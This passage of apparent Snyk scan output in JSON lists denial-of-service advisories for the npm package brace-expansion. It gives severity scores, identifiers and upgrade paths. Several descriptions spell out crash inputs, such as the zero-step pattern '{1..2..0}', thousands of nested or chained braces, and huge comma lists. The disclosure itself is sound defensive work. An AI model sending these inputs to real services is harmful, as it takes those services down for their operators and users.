each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
